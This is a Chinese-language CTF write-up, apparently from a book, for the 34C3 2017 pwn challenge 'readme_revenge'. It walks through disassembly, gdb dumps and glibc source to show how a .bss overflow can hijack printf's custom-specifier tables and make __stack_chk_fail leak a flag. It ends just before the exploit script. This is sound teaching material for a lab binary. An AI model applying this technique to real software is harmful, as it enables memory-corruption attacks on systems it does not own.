6.1.13 pwn 34C3CTF2017 readme_revenge

    这个题目实际上非常有趣。

    与我们经常接触的题目不同,这是一个静态链接程序,运行时不需要加载 libc。not stripped 绝对是个好消息。

    1. aaaa
    2. Hi, aaaa. Bye.
    3. $ ./readme_revenge
    4. %x.%d.%p
    5. Hi, %x.%d.%p. Bye.
    6. $ python -c 'print("A"*2000)' > crash_input
    7. $ ./readme_revenge < crash_input
    8. Segmentation fault (core dumped)

    我们试着给它输入一些字符,结果被原样打印出来,而且看起来也不存在格式化字符串漏洞。但当我们输入大量字符时,触发了段错误,这倒是一个好消息。

    接着又发现了这个:

    1. $ rabin2 -z readme_revenge | grep 34C3
    2. Warning: Cannot initialize dynamic strings
    3. 000 0x000b4040 0x006b4040 35 36 (.data) ascii 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

    看来 flag 是被隐藏在程序中的,地址在 0x006b4040,位于 .data 段上。结合题目的名字 readme,推测这题的目标应该是从程序中读取或者泄漏出 flag。

    因为 flag 在程序的 .data 段上,根据我们的经验,应该能想到利用 __stack_chk_fail() 将其打印出来(参考章节 4.12)。

    1. [0x00400900]> pdf @ main
    2. ;-- main:
    3. / (fcn) sym.main 80
    4. | sym.main (int arg_1020h);
    5. | ; arg int arg_1020h @ rsp+0x1020
    6. | ; DATA XREF from 0x0040091d (entry0)
    7. | 0x00400a0d 55 push rbp
    8. | 0x00400a0e 4889e5 mov rbp, rsp
    9. | 0x00400a11 488da424e0ef. lea rsp, [rsp - 0x1020]
    10. | 0x00400a19 48830c2400 or qword [rsp], 0
    11. | 0x00400a1e 488da4242010. lea rsp, [arg_1020h] ; 0x1020
    12. | 0x00400a26 488d35b3692b. lea rsi, obj.name ; 0x6b73e0
    13. | 0x00400a2d 488d3d50c708. lea rdi, [0x0048d184] ; "%s"
    14. | 0x00400a34 b800000000 mov eax, 0
    15. | 0x00400a39 e822710000 call sym.__isoc99_scanf
    16. | 0x00400a3e 488d359b692b. lea rsi, obj.name ; 0x6b73e0
    17. | 0x00400a45 488d3d3bc708. lea rdi, str.Hi___s._Bye. ; 0x48d187 ; "Hi, %s. Bye.\n"
    18. | 0x00400a4c b800000000 mov eax, 0
    19. | 0x00400a51 e87a6f0000 call sym.__printf
    20. | 0x00400a5b 5d pop rbp
    21. \ 0x00400a5c c3 ret

    很简单,从标准输入读取字符串到变量 name,地址在 0x6b73e0,且位于 .bss 段上,是一个全局变量。接下来程序调用 printf 将 name 打印出来。

    在 gdb 里试试:

    程序的漏洞很明显了,就是缓冲区溢出覆盖了 libc 静态编译到程序里的一些指针。再往下看会发现一些可能有用的:

    1. gdb-peda$
    2. 0x6b7978 <__libc_argc>: 0x4141414141414141
    3. gdb-peda$
    4. 0x6b7980 <__libc_argv>: 0x4141414141414141
    5. gdb-peda$
    6. 0x6b7a28 <__printf_function_table>: 0x4141414141414141
    7. gdb-peda$
    8. 0x6b7a30 <__printf_modifier_table>: 0x4141414141414141
    9. gdb-peda$
    10. 0x6b7aa8 <__printf_arginfo_table>: 0x4141414141414141
    11. 0x6b7ab0 <__printf_va_arg_table>: 0x4141414141414141

    再看一下栈回溯情况吧:

    1. gdb-peda$ bt
    2. #0 0x000000000045ad64 in __parse_one_specmb ()
    3. #1 0x0000000000443153 in printf_positional ()
    4. #2 0x0000000000446ed2 in vfprintf ()
    5. #3 0x0000000000407a74 in printf ()
    6. #4 0x0000000000400a56 in main ()
    7. #5 0x0000000000400c84 in generic_start_main ()
    8. #6 0x0000000000400efd in __libc_start_main ()
    9. #7 0x000000000040092a in _start ()

    依次调用了 printf() => vfprintf() => printf_positional() => __parse_one_specmb()。那就看一下 glibc 源码,然后发现了这个:

    1. // stdio-common/vfprintf.c
    2. /* Use the slow path in case any printf handler is registered. */
    3. if (__glibc_unlikely (__printf_function_table != NULL
    4. || __printf_modifier_table != NULL
    5. || __printf_va_arg_table != NULL))
    6. goto do_positional;

    这里就涉及到 glibc 的一个特性,它允许用户为 printf 的模板字符串(template strings)定义自己的转换函数,方法是使用函数 register_printf_function()

    1. // stdio-common/printf.h
    2. extern int register_printf_function (int __spec, printf_function __func,
    3. printf_arginfo_function __arginfo)
    4. __THROW __attribute_deprecated__;
    • 该函数为指定的字符 __spec 定义一个转换规则。因此如果 __specY,它定义的转换规则就是 %Y。用户甚至可以重新定义已有的字符,例如 %s
    • __func 是一个函数,在对指定的 __spec 进行转换时由 printf 调用。
    • __arginfo 也是一个函数,在对指定的 __spec 进行转换时由 parse_printf_format 调用。

    register_printf_function() 其实也就是 __register_printf_specifier(),我们来看看它是怎么实现的:

    1. // stdio-common/reg-printf.c
    2. int
    3. __register_printf_specifier (int spec, printf_function converter,
    4. printf_arginfo_size_function arginfo)
    5. {
    6. if (spec < 0 || spec > (int) UCHAR_MAX)
    7. {
    8. return -1;
    9. }
    10. int result = 0;
    11. __libc_lock_lock (lock);
    12. if (__printf_function_table == NULL)
    13. {
    14. __printf_arginfo_table = (printf_arginfo_size_function **)
    15. calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
    16. if (__printf_arginfo_table == NULL)
    17. {
    18. result = -1;
    19. goto out;
    20. }
    21. __printf_function_table = (printf_function **)
    22. (__printf_arginfo_table + UCHAR_MAX + 1);
    23. }
    24. __printf_function_table[spec] = converter;
    25. __printf_arginfo_table[spec] = arginfo;
    26. out:
    27. __libc_lock_unlock (lock);
    28. return result;
    29. }

    然后发现 spec 被直接用做数组 __printf_function_table__printf_arginfo_table 的下标。s 也就是 0x73,这和我们在 gdb 里看到的相符:rdx=0x73[rax+rdx*8]正好是数组取值的方式,虽然这里的 rax 里保存的是 __printf_modifier_table

    有了上面的分析,下面我们来构造 exp。

    回顾一下 __parse_one_specmb() 函数里的 if 判断语句,我们知道 C 语言对 || 的处理机制是如果第一个表达式为 True,就不再进行第二个表达式的判断,所以为了执行函数 *__printf_arginfo_table[spec->info.spec],需要前面的判断条件都为 False。我们可以在 .bss 段上伪造一个 printf_arginfo_size_function 结构体,在结构体偏移 0x73*8 的地方放上 __stack_chk_fail() 的地址,当该函数执行时,将打印出 argv[0] 指向的字符串,所以我们还需要将 argv[0] 覆盖为 flag 的地址。

    Bingo!!!

    1. $ python2 exp.py
    2. [+] Starting local process './readme_revenge': pid 14553
    3. [*] Switching to interactive mode
    4. *** stack smashing detected ***: 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX terminated

    完整的 exp 如下: